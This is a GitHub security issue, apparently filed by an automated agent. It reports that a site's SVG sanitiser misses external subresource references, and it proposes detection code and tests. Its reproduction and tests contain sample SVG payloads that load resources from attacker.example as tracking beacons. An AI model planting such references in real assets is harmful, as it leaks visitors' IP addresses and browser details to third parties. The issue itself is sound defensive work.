Skip to content

[sec-check] SVG gate has no external-reference check: an imported diagram can hot-link a third-party host from the site origin #745

Description

@hivecommons-hive

Security Finding

Severity: medium
Type: unsafe-pattern (missing gate — third-party beacon from the site origin)

scripts/lib/svg-active-content.mjs gates SVGs for script execution:
<script>/<handler>/<iframe>, on* handlers, javascript:/vbscript:
URIs, srcdoc, and an animate element whose attributeName is href. It has no check for
external subresource references
, so an imported or committed SVG may
auto-load a resource from a host this project does not control.

This is the same invariant the repository already enforces everywhere else and
states in its own comments:

  • scripts/lib/project-assets.mjs: "Cards must never hot-link a third party,
    so every image that reaches the published site is mirrored from cncf/artwork
    at import time."
  • scripts/lib/profile-image.mjs: "An unrestricted host is therefore a
    third-party beacon: it receives each visitor's IP, User-Agent and Referer on
    page load."

Markdown images and profile images are held to that standard. The inside of
an SVG is not
, even though SVG internals load subresources the same way.

Reproduction (verified on main @ b54cf81)

Every one of these passes findActiveContent() with zero findings, and
therefore passes npm run validate:architecture-assets:

import { findActiveContent } from './scripts/lib/svg-active-content.mjs';

findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><image xlink:href="https://attacker.example/px.png" width="1" height="1"/></svg>`);       // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><use href="https://attacker.example/e.svg#a"/></svg>`);                                    // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><image href="//attacker.example/px.png"/></svg>`);                                         // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><style>@import url("https://attacker.example/f.css");</style><rect/></svg>`);              // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><rect style="fill:url('https://attacker.example/p.png')"/></svg>`);                        // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><font-face-uri xlink:href="https://attacker.example/f.svg"/></svg>`);                      // []

stripActiveContent() likewise leaves all six untouched, so the daily
import:architectures sanitiser mirrors them verbatim into
static/img/architectures/.

Impact

static/ is published verbatim at the site origin. An image, use or
font-face-uri element, or a CSS url()/@import, naming a remote host is fetched
automatically on render — no click, no interaction. That host receives every
visitor's IP address, User-Agent and Referer, on any page that renders the
diagram and on direct navigation to the asset.

The content path makes this reachable without touching this repository:
data/architectures and static/img/architectures are regenerated unattended
by .github/workflows/import-architectures.yml from
https://github.com/cncf/architecture. A single edit to an upstream diagram
adds a tracking pixel to this site, and the automated PR shows only a changed
binary-ish SVG that every gate passed.

Availability matters too: a remote use reference that stops resolving silently
breaks the diagram for every visitor.

Recommendation

Add an external-reference check alongside the active-content check. Navigational
links must not be flagged: an a element with a remote xlink:href loads nothing until
clicked, and a shipped asset already relies on one
(static/img/architectures/swisscom-cloud-native-telco/swisscom-cloud-native-telco-automation-layers.svg
links to drawio.com).

1. Append to scripts/lib/svg-active-content.mjs

NS_PREFIX, ATTRIBUTE_PATTERN and localName() already exist in that module;
reuse them rather than redeclaring, and add only the new constants below.

const NS_PREFIX = '(?:[a-z_][-a-z0-9_.]*:)?';

/** Elements whose href/src is fetched automatically when the SVG renders. */
const SUBRESOURCE_ELEMENTS = new Set([
  'image',
  'use',
  'feimage',
  'font-face-uri',
  'textpath',
  'mpath',
  'pattern',
  'filter',
  'lineargradient',
  'radialgradient',
]);

const SUBRESOURCE_ATTRIBUTES = new Set(['href', 'src']);

const TAG_PATTERN = new RegExp(`<\\s*(${NS_PREFIX}[a-z][-a-z0-9_.]*)([^>]*)>`, 'gi');
const ATTRIBUTE_PATTERN =
  /\s([a-z_:][-a-z0-9_:.]*)\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>`]+))/gi;
const STYLE_ELEMENT = new RegExp(
  `<\\s*${NS_PREFIX}style\\b[^>]*>([\\s\\S]*?)<\\s*/\\s*${NS_PREFIX}style\\s*>`,
  'gi',
);
const CSS_URL = /(?:@import\s+(?:url\(\s*)?|url\(\s*)["']?([^"')\s]+)/gi;

function localName(name) {
  const colon = name.lastIndexOf(':');
  return colon === -1 ? name : name.slice(colon + 1);
}

/**
 * The remote host a reference resolves to, or null when it stays in-document
 * or on this origin.
 */
function remoteHost(value) {
  const trimmed = String(value).trim();
  if (!trimmed) return null;
  // Protocol-relative references inherit the page scheme but not its host.
  if (trimmed.startsWith('//')) {
    const host = trimmed.slice(2).split(/[/?#]/)[0];
    return host || null;
  }
  if (!/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return null;
  let url;
  try {
    url = new URL(trimmed);
  } catch {
    return null;
  }
  if (url.protocol !== 'http:' && url.protocol !== 'https:') return null;
  return url.hostname || null;
}

/**
 * Describe every automatically loaded remote reference in an SVG source string.
 * @param {string} source - SVG file contents.
 * @returns {string[]} Human-readable descriptions, empty when self-contained.
 */
export function findExternalReferences(source) {
  const findings = new Set();

  for (const tag of String(source).matchAll(TAG_PATTERN)) {
    const element = localName(tag[1].toLowerCase());
    for (const attribute of tag[2].matchAll(ATTRIBUTE_PATTERN)) {
      const name = attribute[1].toLowerCase();
      const value = attribute[2] ?? attribute[3] ?? attribute[4] ?? '';
      if (localName(name) === 'style') {
        for (const reference of value.matchAll(CSS_URL)) {
          const host = remoteHost(reference[1]);
          if (host) findings.add(`style="..." loads ${host}`);
        }
        continue;
      }
      if (!SUBRESOURCE_ELEMENTS.has(element)) continue;
      if (!SUBRESOURCE_ATTRIBUTES.has(localName(name))) continue;
      const host = remoteHost(value);
      if (host) findings.add(`<${element} ${name}="..."> loads ${host}`);
    }
  }

  for (const block of String(source).matchAll(STYLE_ELEMENT)) {
    for (const reference of block[1].matchAll(CSS_URL)) {
      const host = remoteHost(reference[1]);
      if (host) findings.add(`<style> loads ${host}`);
    }
  }

  return [...findings].sort();
}

2. Wire it into scripts/validate-architecture-assets.mjs

Line 12 becomes:

import {
  findActiveContent,
  findExternalReferences,
} from './lib/svg-active-content.mjs';

and the block that currently ends at line 92 gains a second loop:

  for (const finding of findActiveContent(source)) {
    record(path, 'error', `active content: ${finding}`);
  }

  // Critical: a reference to a host this project does not control is fetched
  // automatically when the SVG renders, handing that host every visitor's IP,
  // User-Agent and Referer. Mirror the asset locally instead. Never
  // auto-fixed: rewriting a reference changes what the diagram shows.
  for (const finding of findExternalReferences(source)) {
    record(path, 'error', `external reference: ${finding}`);
  }

No workflow change is needed: npm run validate:architecture-assets already
runs in ci.yml (both the validate job and the deploy build).

3. Add tests/svg-external-references.test.mjs

A new file, so it does not collide with #680, which holds
tests/svg-active-content.test.mjs.

import assert from 'node:assert/strict';
import test from 'node:test';
import { findExternalReferences } from '../scripts/lib/svg-active-content.mjs';

const svg = (inner) =>
  `<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">${inner}</svg>`;

test('flags subresource elements that load a remote host', () => {
  for (const inner of [
    '<image xlink:href="https://attacker.example/px.png" width="1" height="1"/>',
    '<use href="https://attacker.example/e.svg#a"/>',
    '<image href="//attacker.example/px.png"/>',
    '<font-face-uri xlink:href="https://attacker.example/f.svg"/>',
  ]) {
    const findings = findExternalReferences(svg(inner));
    assert.equal(findings.length, 1, inner);
    assert.match(findings[0], /attacker\.example/);
  }
});

test('flags remote references in CSS, in a <style> block and in a style attribute', () => {
  assert.match(
    findExternalReferences(
      svg('<style>@import url("https://attacker.example/f.css");</style><rect/>'),
    )[0],
    /attacker\.example/,
  );
  assert.match(
    findExternalReferences(
      svg(`<rect style="fill:url('https://attacker.example/p.png')"/>`),
    )[0],
    /attacker\.example/,
  );
});

test('does not flag a navigational link, which loads nothing until clicked', () => {
  assert.deepEqual(
    findExternalReferences(svg('<a xlink:href="https://www.drawio.com/doc"><rect/></a>')),
    [],
  );
});

test('does not flag in-document, site-local or data: references', () => {
  assert.deepEqual(
    findExternalReferences(
      svg('<use href="#glyph"/><image href="/img/x.png"/><image href="data:image/png;base64,AAAA"/>'),
    ),
    [],
  );
});

test('does not flag namespace and feature-string URLs, which are identifiers', () => {
  assert.deepEqual(
    findExternalReferences(
      svg('<g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/>'),
    ),
    [],
  );
});

Verification already done

Running the module above over the working tree:

  • all six reproduction payloads are flagged, each naming attacker.example;
  • all five negative cases return [];
  • all 50 SVGs currently under static/ return [], so the check can land
    as an error with no change to any shipped asset and no CI breakage.

Why this is an issue and not a pull request

The detection belongs in scripts/lib/svg-active-content.mjs, which is free —
but it does nothing until it is wired into scripts/validate-architecture-assets.mjs,
and that file (with tests/validate-architecture-assets.test.mjs) is held by open
PR #691. Opening a PR here would be a second implementation on ground #691
already occupies. This should land after #691 merges.

Filing as an issue rather than a PR is a sequencing decision, not a judgement
that the finding is weak: the payloads above are verified to pass every gate on
main today.


Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)

🐝 Hive Agent: security | Instance: hosted-available-lke648397-260827-5n31 | SHA: unknown

— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    agent/securityApproved by a Hive merger/owner for auto-merge on green CIhive/hosted-available-lke648397-260827-5n31Approved by a Hive merger/owner for auto-merge on green CIsecurityApproved by a Hive merger/owner for auto-merge on green CI

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions